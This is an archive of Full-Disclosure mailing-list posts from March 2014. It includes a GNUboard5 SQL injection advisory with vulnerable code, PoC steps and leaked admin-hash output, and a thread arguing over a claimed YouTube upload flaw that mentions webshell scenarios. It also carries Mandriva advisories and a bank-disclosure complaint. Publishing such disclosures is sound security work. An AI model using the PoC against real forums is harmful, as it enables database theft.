==Advisory: GNUboard SQL Injection VulnerabilityAuthor: claepo.w...@dbappsecurity.com.cnAffected Version: GNUboard5(the latest version)Vendor URL: http://sir.co.kr/Vendor Status: Unfixed(I know little about Korean, so i do not know how to describe this vul to the vendor.)==Vulnerability Description==Recently, I found several vulnerabilities in the famous Korean forum program - the GNUboard.Vulnerable file: /bbs/ajax.autosave.php?phpinclude_once('./_common.php');//global filter on $_GET,$_POST,$_COOKIE,$_REQUESTif (!$is_member) die('0');//member login$uid   = trim($_REQUEST['uid']); //current user id$subject = trim(stripslashes($_REQUEST['subject'])); //stripslashes ignores the global filter causes a SQL Inj.$content = trim(stripslashes($_REQUEST['content'])); //same aboveif ($subject  $content) {  $sql = " select count(*) as cnt from {$g5['autosave_table']} where mb_id = '{$member['mb_id']}' and as_subject = '$subject' and as_content = '$content' ";  $row = sql_fetch($sql); //the bad str($subject|$content) insert into sql query  if (!$row['cnt']) {$sql = " insert into {$g5['autosave_table']} set mb_id = '{$member['mb_id']}', as_uid = '{$uid}', as_subject = '$subject', as_content = '$content', as_datetime = '".G5_TIME_YMDHIS."' on duplicate key update as_subject = '$subject', as_content = '$content', as_datetime = '".G5_TIME_YMDHIS."' ";$result = sql_query($sql, false); // database selectecho autosave_count($member['mb_id']);  }}?==POC  EXP==1. Login as a member2. GET http://target/bbs/ajax.autosave.php?content=1subject=1[inj_exp]	{exp can be found on my server: http://pandas.pw/gnuboard.exp} 3. Page returns 1062 : Duplicate entry ~admin~*FF6F916236F4FFEE8FADD21EC20216C5C3A04E50~1' for key 'group_key'.

gnuboard-kr.txt
Description: Binary data
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-17 Thread Mario Vilas
Please stop changing hats, it's embarrasing.


On Sat, Mar 15, 2014 at 7:36 PM, T Imbrahim timbra...@techemail.com wrote:

 Is this treated with the same way that says that Remote File Inclusion is
 not a security issue ?

 You don't follow? Implying ?

 I understand why nobody likes Google. If I 've found a vulnerability and
 been treated like that for trying to help, I would rather sell it to the
 black market or to some government.

 The NSA maybe is happy to buy a RFI on Google, im sure they could make
 good use of that. Google is very deceptive in security matters.

 --- lcam...@coredump.cx wrote:

 From: Michal Zalewski lcam...@coredump.cx
 To: timbra...@techemail.com
 Cc: pr...@yahoo.co.uk, full-disclosure full-disclosure@lists.grok.org.uk
 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
 Date: Sat, 15 Mar 2014 10:59:40 -0700

  A hacker exploits a JSON (javascript) object that has information of
 interest for example holding some values for cookies. A lot of times that
 exploits the same policy origin. The JSON object returned from a server can
 be forged over writing javascript function that create the object. This
 happens because of the same origin policy problem in browsers that cannot
 say if js execution it different for two different sites.

 To be honest, I'm not sure I follow, but I'm fairly confident that my
 original point stands. If you believe that well-formed JSON objects
 without padding can be read across origins within the browser, I would
 love to see more information about that. (In this particular case, it
 still wouldn't matter because the response doesn't contain secrets,
 but it would certainly break a good chunk of the Internet.) JSONP is a
 different animal.

 /mz




 _
 Are you a Techie? Get Your Free Tech Email Address Now! Visit
 http://www.TechEmail.com

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-17 Thread Mario Vilas
ROFL

[image: Inline image 1]


On Mon, Mar 17, 2014 at 11:07 AM, T Imbrahim timbra...@techemail.comwrote:

 What drugs are you on Pedro Ribeiro I wonder ...?

 I express my views, if you don't like don't watch them. You responses so
 far have only been assy speculations so don't tell me Im wrong , and please
 don't say thing like that. I don't know who the other people is,  but what
 is true in security I support. Why you would Google my name ... ?

  Is the English language causing you ill effects?

 --- ped...@gmail.com wrote:

 From: Pedro Ribeiro ped...@gmail.com
 To: timbra...@techemail.com
 Cc: full-disclosure@lists.grok.org.uk, Michal Zalewski 
 lcam...@coredump.cx, mvi...@gmail.com, gynv...@coldwind.pl

 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
 Date: Mon, 17 Mar 2014 09:24:08 +


 On 16 Mar 2014 23:36, T Imbrahim timbra...@techemail.com wrote:
 
  The thread read Google vulnerabilities with PoC. From my understanding
  it was a RFI vulnerability on YouTube, and I voiced my support that this
 is a vulnerability.
 
  I also explained a JSON Hijacking case as a follow up, and you said you
 didn't follow.  So I am just saying that treating security that way, there
 are other parties like NSA who welcome them happily.
 

 I think these guys - Alfred, Kirschbaum and Imbrahim are the OP's sock
 puppets.

 They are all first time posters from unusual free email providers jumping
 to defend the OP out of nowhere. If you search Google for their emails you
 only find references to this thread.

 They present similar (false and /or incorrect) arguments, talk about their
 extensive work experience, bash Google and its security team and send
 repeated emails with exactly the same text.

 This is turning into a madhouse... I hope this guy doesn't have access to
 a gun.

 Regards
 Pedro


 --
 Are you a Techie? Get Your Free Tech Email Address Now! Visit
 http://www.TechEmail.com




-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
inline: 10iceb6.jpg___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-17 Thread T Imbrahim
What drugs are you on Pedro RibeiroI wonder...?I express myviews, if you don't like don't watch them. You responses so farhave only been assy speculations so don't tell me Im wrong, and please don't say thing like that. I don't know who the other peopleis,but what is true in security I support. Why you would Google my name ... ?Is the English language causing you ill effects? --- ped...@gmail.com wrote:From: Pedro Ribeiro ped...@gmail.comTo: timbra...@techemail.comCc: full-disclosure@lists.grok.org.uk, Michal Zalewski lcam...@coredump.cx, 	mvi...@gmail.com, gynv...@coldwind.plSubject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoCDate: Mon, 17 Mar 2014 09:24:08 +
On 16 Mar 2014 23:36, "T Imbrahim" timbra...@techemail.com wrote:

 The thread read Google vulnerabilities with PoC. From my understanding it was a RFI vulnerability on YouTube, and I voiced my support that this is a vulnerability.

 I also explained a JSON Hijacking case as a follow up, and you said you didn't follow. So I am just saying that treating security that way, there are other parties like NSA who welcome them happily.

I think these guys - Alfred, Kirschbaum and Imbrahim are the OP's sock puppets.
They are all first time posters from unusual free email providers jumping to defend the OP out of nowhere.If you search Google for their emails you only find references to this thread. 
They present similar (false and /or incorrect) arguments, talk about their extensive work experience, bash Google and its security team and send repeated emails with exactly the same text.
This is turning into a madhouse... I hope this guy doesn't have access to a gun.
Regards 
Pedro 

Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-17 Thread Gichuki John Chuksjonia
Ooh goodie, where and what happened to N3td3v, he used to crack me up :D :D








On 3/17/14, Mario Vilas mvi...@gmail.com wrote:
 ROFL

 [image: Inline image 1]


 On Mon, Mar 17, 2014 at 11:07 AM, T Imbrahim
 timbra...@techemail.comwrote:

 What drugs are you on Pedro Ribeiro I wonder ...?

 I express my views, if you don't like don't watch them. You responses so
 far have only been assy speculations so don't tell me Im wrong , and
 please
 don't say thing like that. I don't know who the other people is,  but
 what
 is true in security I support. Why you would Google my name ... ?

  Is the English language causing you ill effects?

 --- ped...@gmail.com wrote:

 From: Pedro Ribeiro ped...@gmail.com
 To: timbra...@techemail.com
 Cc: full-disclosure@lists.grok.org.uk, Michal Zalewski 
 lcam...@coredump.cx, mvi...@gmail.com, gynv...@coldwind.pl

 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
 Date: Mon, 17 Mar 2014 09:24:08 +


 On 16 Mar 2014 23:36, T Imbrahim timbra...@techemail.com wrote:
 
  The thread read Google vulnerabilities with PoC. From my understanding
  it was a RFI vulnerability on YouTube, and I voiced my support that this
 is a vulnerability.
 
  I also explained a JSON Hijacking case as a follow up, and you said you
 didn't follow.  So I am just saying that treating security that way,
 there
 are other parties like NSA who welcome them happily.
 

 I think these guys - Alfred, Kirschbaum and Imbrahim are the OP's sock
 puppets.

 They are all first time posters from unusual free email providers jumping
 to defend the OP out of nowhere. If you search Google for their emails
 you
 only find references to this thread.

 They present similar (false and /or incorrect) arguments, talk about
 their
 extensive work experience, bash Google and its security team and send
 repeated emails with exactly the same text.

 This is turning into a madhouse... I hope this guy doesn't have access to
 a gun.

 Regards
 Pedro


 --
 Are you a Techie? Get Your Free Tech Email Address Now! Visit
 http://www.TechEmail.com




 --
 There's a reason we separate military and the police: one fights the enemy
 of the state, the other serves and protects the people. When the military
 becomes both, then the enemies of the state tend to become the people.



-- 
-- 
Gichuki John Ndirangu, C.E.H , C.P.T.P, O.S.C.P
I.T Security Analyst and Penetration Tester
jgichuki at inbox d0t com

{FORUM}http://lists.my.co.ke/pipermail/security/
http://chuksjonia.blogspot.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-17 Thread Joxean Koret
Hi,

The only probable way of exploiting it I can see would be if the servers
at Google where the files are uploaded would perform some specific tasks
with such files that could result in exploiting a vulnerability in any
of the used software (and this is something the discoverer failed to
probe). An example: Google malware scans the uploaded file with some AV
engine and the file is actually an exploit targeting one or more AV
products. I don't think this is the case and, even in this case, there
wouldn't be any Google's vulnerability but, rather, a vulnerability in
another product from another company.

So, in short: this conversation is stupid. There is no vulnerability we
can see here and, if there is, it cannot be probed by the discoverer and
he and his buddies attach to either ad hominem arguments or to
statements like I am XXX with YYY years of experience doing ZZZ
mistakenly thinking it could back any of their paranoias.

What else do we need to discuss here? I think it's time to stop this
conversation. And, yes, I know that sending an e-mail to ask for
stopping a conversation on FD is stupid too.

Regards,
Joxean Koret



signature.asc
Description: This is a digitally signed message part
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-17 Thread T Imbrahim
Hey,

At least to me I am security paranoid. Remote File Inclusion of files to a 
trusted network, seems like a well backed up vulnerability. I think we are 
talking about Google here not your favourite's pizza website. I personally 
congratulate to the author for finding it, whether probing it or not. And I 
have nothing to do with the authors, just supporting what is right. 

I definitely would patch my computer if I discovered that somebody could upload 
files to my computer, even thought if couldn't 'probe' them.
 


--- joxeanko...@yahoo.es wrote:

From: Joxean Koret joxeanko...@yahoo.es
To: full-disclosure@lists.grok.org.uk
Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Date: Mon, 17 Mar 2014 12:27:27 +0100

Hi,

The only probable way of exploiting it I can see would be if the servers
at Google where the files are uploaded would perform some specific tasks
with such files that could result in exploiting a vulnerability in any
of the used software (and this is something the discoverer failed to
probe). An example: Google malware scans the uploaded file with some AV
engine and the file is actually an exploit targeting one or more AV
products. I don't think this is the case and, even in this case, there
wouldn't be any Google's vulnerability but, rather, a vulnerability in
another product from another company.

So, in short: this conversation is stupid. There is no vulnerability we
can see here and, if there is, it cannot be probed by the discoverer and
he and his buddies attach to either ad hominem arguments or to
statements like I am XXX with YYY years of experience doing ZZZ
mistakenly thinking it could back any of their paranoias.

What else do we need to discuss here? I think it's time to stop this
conversation. And, yes, I know that sending an e-mail to ask for
stopping a conversation on FD is stupid too.

Regards,
Joxean Koret



___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



_
Are you a Techie? Get Your Free Tech Email Address Now! Visit 
http://www.TechEmail.com

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-17 Thread Źmicier Januszkiewicz
Especially considering that all three use Tor to post on the list. I wonder why.
Other header/content details can be interesting as well...


2014-03-17 10:24 GMT+01:00 Pedro Ribeiro ped...@gmail.com:

 On 16 Mar 2014 23:36, T Imbrahim timbra...@techemail.com wrote:

 The thread read Google vulnerabilities with PoC. From my understanding  it
 was a RFI vulnerability on YouTube, and I voiced my support that this is a
 vulnerability.

 I also explained a JSON Hijacking case as a follow up, and you said you
 didn't follow.  So I am just saying that treating security that way, there
 are other parties like NSA who welcome them happily.


 I think these guys - Alfred, Kirschbaum and Imbrahim are the OP's sock
 puppets.

 They are all first time posters from unusual free email providers jumping to
 defend the OP out of nowhere. If you search Google for their emails you only
 find references to this thread.

 They present similar (false and /or incorrect) arguments, talk about their
 extensive work experience, bash Google and its security team and send
 repeated emails with exactly the same text.

 This is turning into a madhouse... I hope this guy doesn't have access to a
 gun.

 Regards
 Pedro


 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-17 Thread Mario Vilas
On Mon, Mar 17, 2014 at 2:25 PM, T Imbrahim timbra...@techemail.com wrote:

 I definitely would patch my computer if I discovered that somebody could
 upload files to my computer, even thought if couldn't 'probe' them.


1) I don't think you understood the meaning of the word probe in this
context, Nikolas,
2) Does that mean you believe Dropbox is vulnerable to remote file upload
too?


-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Few Hrs left Webcast Reminder: Garage4Hackers Ranchoddas Series 2 on Reverse Engineering

2014-03-17 Thread Sandeep Kamble
 Few hr Left to Start Webcast.
 Data, data, data! I can't make bricks without clay
Thanks you member of Mailing List for registering for
Garage4hacker'shttp://www.garage4hackers.com/showthread.php?t=5875p=13159Ranchoddas
Series. Below are details for the online presentation.

*Speaker*: Gynvael Coldwind http://gynvael.coldwind.pl/?lang=enid=528 -
Google Security Engineer and Dragon Sector Team Captain.
*Date*: Monday, March 17,  2014
*Time* (Switzerland/EU aka UTC+01:00 aka CET aka GMT +1:00): 18:00
*Time* (IST aka GMT +5:30): 22:30
*Time *(other places):
http://www.timeanddate.com/worldclock/fixedtime.html?iso=20140317T1700
*Duration*: TBD, but something between 45-60 minutes + time for questions

*Video Event Link: *
http://www.garage4hackers.com/pages.php?pageid=4
https://plus.google.com/events/c2pujg5a29fmem01lo615eio8a8

We suggest to use good internet connection to avoid video lags and use HD
quality to avoid blur.

*Q/A* :
For Questions and answers please join our IRC:
http://www.garage4hackers.com/pages.php?pageid=3

 For saving time in sorting of questions kindly submit the question
starting with [Q]
 Ex. [Q] What book should be refereed for x86 assembly language?

 *Main Sponsors *:
 http://www.hitb.in/
*Waxspace - Shared Web hosting *

 http://waxspace.com

*If you have not used Youtube Live Stream before, then do not worry it is
similar as watching videos on the Youtube. If you require technical
assistance with webcast , please contact sand...@garage4hackers.com


Kind Regards,
Garage4Hackers
http://garage4hackers.com
https://www.facebook.com/pages/Garage4Hackers/138904662794635
https://twitter.com/garage4hackers
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-17 Thread Pedro Ribeiro
On 17 Mar 2014 13:39, Źmicier Januszkiewicz ga...@tut.by wrote:

 Especially considering that all three use Tor to post on the list. I
wonder why.
 Other header/content details can be interesting as well...


Good catch, I didn't even remember checking the headers.
Have a look at the comments posted in the softpedia article - I can smell
more dirty socks in there.

And for even more fun read his interview:
http://m.softpedia.com/softpedia-interview-nicholas-lemonias-on-satellite-communication-vulnerabilities-420589.html

He even posted it to this list but no one noticed it:
http://marc.info/?l=full-disclosurem=139076233105401w=2


 2014-03-17 10:24 GMT+01:00 Pedro Ribeiro ped...@gmail.com:
 
  On 16 Mar 2014 23:36, T Imbrahim timbra...@techemail.com wrote:
 
  The thread read Google vulnerabilities with PoC. From my understanding
 it
  was a RFI vulnerability on YouTube, and I voiced my support that this
is a
  vulnerability.
 
  I also explained a JSON Hijacking case as a follow up, and you said you
  didn't follow.  So I am just saying that treating security that way,
there
  are other parties like NSA who welcome them happily.
 
 
  I think these guys - Alfred, Kirschbaum and Imbrahim are the OP's sock
  puppets.
 
  They are all first time posters from unusual free email providers
jumping to
  defend the OP out of nowhere. If you search Google for their emails you
only
  find references to this thread.
 
  They present similar (false and /or incorrect) arguments, talk about
their
  extensive work experience, bash Google and its security team and send
  repeated emails with exactly the same text.
 
  This is turning into a madhouse... I hope this guy doesn't have access
to a
  gun.
 
  Regards
  Pedro
 
 
  ___
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-17 Thread Ulisses Montenegro
Let's try some scenarios and if those can be pulled out then I'd say it's
safe to assume this is an issue:

1. Upload a webshell (in a war, php, asp[x], jsp or similar file) and have
it executed by YouTube;
2. Upload a malicious file (pdf, swf, jar or similar file which exploits a
known or unknown vulnerability in the respective aps) and have it served by
YouTube;
3. Upload a file which alters the behavior of the YouTube application
(i.e., a configuration file, HTML or Javascript template, even a UI image).

Otherwise you just uploaded a file which went into a bitbucket, but you
have no way of pulling this file out of said bitbucket in a way that can
cause harm to either the application or its users.

Should YouTube restrict file uploads to known valid mime types? Sure, but
that's only how you got the data in there to begin with. It's what happens
after the data is in that will make all the difference.



On Mon, Mar 17, 2014 at 10:47 AM, Mario Vilas mvi...@gmail.com wrote:


 On Mon, Mar 17, 2014 at 2:25 PM, T Imbrahim timbra...@techemail.comwrote:

 I definitely would patch my computer if I discovered that somebody could
 upload files to my computer, even thought if couldn't 'probe' them.


 1) I don't think you understood the meaning of the word probe in this
 context, Nikolas,
 2) Does that mean you believe Dropbox is vulnerable to remote file upload
 too?


 --
 “There's a reason we separate military and the police: one fights
 the enemy of the state, the other serves and protects the people. When
 the military becomes both, then the enemies of the state tend to become the
 people.”

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




-- 
“If debugging is the process of removing software bugs, then programming
must be the process of putting them in.” - *Edsger Dijkstra*
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [ MDVSA-2014:062 ] webmin

2014-03-17 Thread security
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

 Mandriva Linux Security Advisory MDVSA-2014:062
 http://www.mandriva.com/en/support/security/
 ___

 Package : webmin
 Date: March 17, 2014
 Affected: Business Server 1.0, Enterprise Server 5.0
 ___

 Problem Description:

 Multiple vulnerabilities was discovered and corrected in webmin:
 
 Multiple XSS, CSRF, and arbitrary code execution vulnerabilities that
 impact Webmin versions prior to 1.620 (CVE-2012-2981, CVE-2012-2982,
 CVE-2012-2983, CVE-2012-4893, SA51201).
 
 The 1.680 version fixed security issues that could be exploited by
 un-trusted Webmin users in the PHP Configuration and Webalizer modules.
 
 The Authen::Libwrap perl module used by Webmin is also being provided.
 
 The updated packages have been upgraded to the 1.680 version which
 is not vulnerable to these issues.
 ___

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2981
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2982
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2983
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4893
 https://wiki.mageia.org/en/Support/Advisories/MGASA-2013-0125
 http://advisories.mageia.org/MGASA-2014-0132.html
 http://www.webmin.com/changes.html
 ___

 Updated Packages:

 Mandriva Enterprise Server 5:
 b76972171f63033b2f329e6490976419  
mes5/i586/perl-Authen-Libwrap-0.22-0.1mdvmes5.2.i586.rpm
 ac443c2645558464be805b492db9baeb  
mes5/i586/webmin-1.680-0.1mdvmes5.2.noarch.rpm 
 4b77afd5678423a573747acd179fa239  
mes5/SRPMS/perl-Authen-Libwrap-0.22-0.1mdvmes5.2.src.rpm
 cd4fb9d6f928dc92f5430ec9a085620e  mes5/SRPMS/webmin-1.680-0.1mdvmes5.2.src.rpm

 Mandriva Enterprise Server 5/X86_64:
 c3caa33d699773dc6e425c6363c6df8f  
mes5/x86_64/perl-Authen-Libwrap-0.22-0.1mdvmes5.2.x86_64.rpm
 8140d6c7b10d0d09daeb3e31991b  
mes5/x86_64/webmin-1.680-0.1mdvmes5.2.noarch.rpm 
 4b77afd5678423a573747acd179fa239  
mes5/SRPMS/perl-Authen-Libwrap-0.22-0.1mdvmes5.2.src.rpm
 cd4fb9d6f928dc92f5430ec9a085620e  mes5/SRPMS/webmin-1.680-0.1mdvmes5.2.src.rpm

 Mandriva Business Server 1/X86_64:
 9c2db8945efb78cb14b62bf684c3ac8a  
mbs1/x86_64/perl-Authen-Libwrap-0.220.0-2.mbs1.x86_64.rpm
 fbf3cbaf7c38211734c7e194478266a4  mbs1/x86_64/webmin-1.680-1.mbs1.noarch.rpm 
 9ab9a3275bfc6c78087d948d9d6dd499  
mbs1/SRPMS/perl-Authen-Libwrap-0.220.0-2.mbs1.src.rpm
 c1b87681dfd413012e0867c8109629ac  mbs1/SRPMS/webmin-1.680-1.mbs1.src.rpm
 ___

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/en/support/security/advisories/

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 ___

 Type Bits/KeyID Date   User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  security*mandriva.com
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iD8DBQFTJuP1mqjQ0CJFipgRAhC+AJ9DRGJv63JJDYj1aOq2dGQ4gYtsJwCgl4VQ
E51kan9dXAlHxnPVzflibaY=
=MQUx
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-17 Thread Mario Vilas
On Mon, Mar 17, 2014 at 3:11 PM, Ulisses Montenegro 
ulisses.montene...@gmail.com wrote:

 Should YouTube restrict file uploads to known valid mime types? Sure, but
 that's only how you got the data in there to begin with. It's what happens
 after the data is in that will make all the difference.


At this point I'm not even sure the data isn't being restricted - it just
may be that the data type is checked again after it gets pulled out of the
queue for processing, and if it's not a video it gets discarded.


-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Garage4Hackers Ranchoddas Series - Part 2 on Reverse Engineering - Free Webinar

2014-03-17 Thread Sandeep Kamble
Hello all,

There is less than 1 hour now remaining for the start of the webinar.

Catch it at http://www.garage4hackers.com/pages.php?pageid=4

QA will handled through :
1. IRC at #g4h on freenode
2. @garage4hackers on twitter
3. mail to sand...@garage4hackers.com




On Fri, Mar 7, 2014 at 5:35 PM, Sandeep Kamble sandeepk.l...@gmail.comwrote:

 Dear all,
 Garage4Hacker invites you to join us for a webinar titled Data, data,
 data! I can't make bricks without clay by Gynvael Coldwind - Google
 Security Engineer and Dragon Sector Team Captain.

 For Registration, please fill the following form.
 https://docs.google.com/forms/d/1L3-...RlNdI/viewformhttps://docs.google.com/forms/d/1L3-Wy49WZx97Aqujm5uRIjrLu02s9mTp20QVXjRlNdI/viewform

 Detailed Information about event :
 http://www.garage4hackers.com/showthread.php?t=5875

 Reverse Engineering is an art more than science. From the realms of
 vulnerability discovery to debugging for internals, reverse engineers are a
 rare breed with the ability to think backwards in the chain of events.
 Discovering the technological principles of a device, object, or system
 through analysis of its structure, function, and operation. With the growth
 of exploit development and rise of malware attacks, reverse engineering is
 becoming a key area to study.

 *What to expect:*
 The presentation would revolve more around the approaches taken in RE than
 usage of tools. It will be focused on various practical tips and tricks
 that can speed up the process of reverse-engineering. The presented
 information will not be strictly tied to any specific platform or tool -
 most of it can be applied on any architecture or operating system.

 *Examples of topics:*
 - how to start with an unknown architecture
 - debugger scripting
 - creating your own useful tools
 - etc

 *Prerequisites:*
 - some reverse-engineering experience or general interest in
 reverse-engineering
 - basic programming skills
 - basic knowledge of how the CPU and operating systems work

 Kind Regard,
 Garage4Hackers Team
 Http://garage4hackers.com

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Bank of the West security contact?

2014-03-17 Thread Kristian Erik Hermansen
Just wanted to post a follow-up to this and provide some context to
make it known:

* Bank of the West was contacted in 2011 to report a security issue

* No response for 2 years

* In late 2013, I receive a breach notification saying my own
sensitive personal information was compromised via the EXACT SAME
ISSUES I REPORTED. I also am led to believe employee information was
compromised, which may include Social Security Number (SSN) details.

Conclusions?

* Bank of the West has NO WORKING SECURITY REPORTING MECHANISM for
outside researchers and NO BUG BOUNTY PROGRAM

* Bank of the West does not seem to take security and privacy
seriously enough, as far as I can tell

You should know this if you are an existing or potential customer /
employee of Bank of the West...

On Fri, Feb 7, 2014 at 9:27 PM, Kristian Erik Hermansen
kristian.herman...@gmail.com wrote:
 Anyone have security contact at Bank of the West?
 --
 Kristian Erik Hermansen
 https://www.linkedin.com/in/kristianhermansen
 https://profiles.google.com/kristian.hermansen



-- 
Regards,

Kristian Erik Hermansen
https://www.linkedin.com/in/kristianhermansen
https://google.com/+KristianHermansen

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Bank of the West security contact?

2014-03-17 Thread Jeffrey Walton
On Mon, Mar 17, 2014 at 12:15 PM, Kristian Erik Hermansen
kristian.herman...@gmail.com wrote:
 Just wanted to post a follow-up to this and provide some context to
 make it known:

 * Bank of the West was contacted in 2011 to report a security issue

 * No response for 2 years

 * In late 2013, I receive a breach notification saying my own
 sensitive personal information was compromised via the EXACT SAME
 ISSUES I REPORTED. I also am led to believe employee information was
 compromised, which may include Social Security Number (SSN) details.

 Conclusions?

 * Bank of the West has NO WORKING SECURITY REPORTING MECHANISM for
 outside researchers and NO BUG BOUNTY PROGRAM

 * Bank of the West does not seem to take security and privacy
 seriously enough, as far as I can tell

 You should know this if you are an existing or potential customer /
 employee of Bank of the West...
The risk equations favor do nothing. Its cost effective to simply
persue profits and not spend money on data security.

If (when) they are breached, it only costs them the cost of a
notification. In the US, that's the cost of bulk mail [0]. 46 states,
DC, and Territories have Data Breach laws, and nearly none (none?)
have any useful provisions for damages. [1]

You can't recover for your time lost or services like credit
monitoring. Every class action get tossed out [2]. I've never seen one
go to court, and I've been watching them for years.

In the US, the risk equations must be unbalanced (or swayed to favor
of the consumer, who is the ultimate victim). That will take a policy
change. However, that likely won't happen as long as corporate america
and special interest purchase and trade politicians like sports
trading cards.

(I've been watching data breaches and responses for years because I
got burned somehow and it cost me over 10K to fix in the 1990s. I
never got a notification. I found out after I got sued for unpaid
bills and the collection agencies contacted me).

Jeff

[0] http://pe.usps.com/businessmail101/rates/welcome.htm
[1] State Security Breach Notification Laws,
http://www.ncsl.org/research/telecommunications-and-information-technology/security-breach-notification-laws.aspx
[2] Once Again, Clapper Defeats Data Breach Class Action,
http://www.mondaq.com/unitedstates/x/294324/Data+Protection+Privacy/Once+Again+Clapper+Defeats+Data+Breach+Class+Action

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


[Full-disclosure] [ MDVSA-2014:063 ] x2goserver

2014-03-17 Thread security
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

 Mandriva Linux Security Advisory MDVSA-2014:063
 http://www.mandriva.com/en/support/security/
 ___

 Package : x2goserver
 Date: March 17, 2014
 Affected: Business Server 1.0
 ___

 Problem Description:

 Updated x2goserver package fixes security vulnerability:
 
 A vulnerability in x2goserver before 4.0.0.2 in the setgid wrapper
 x2gosqlitewrapper.c, which does not hardcode an internal path to
 x2gosqlitewrapper.pl, allowing a remote attacker to change that
 path. A remote attacker may be able to execute arbitrary code with
 the privileges of the user running the server process (CVE-2013-4376).
 
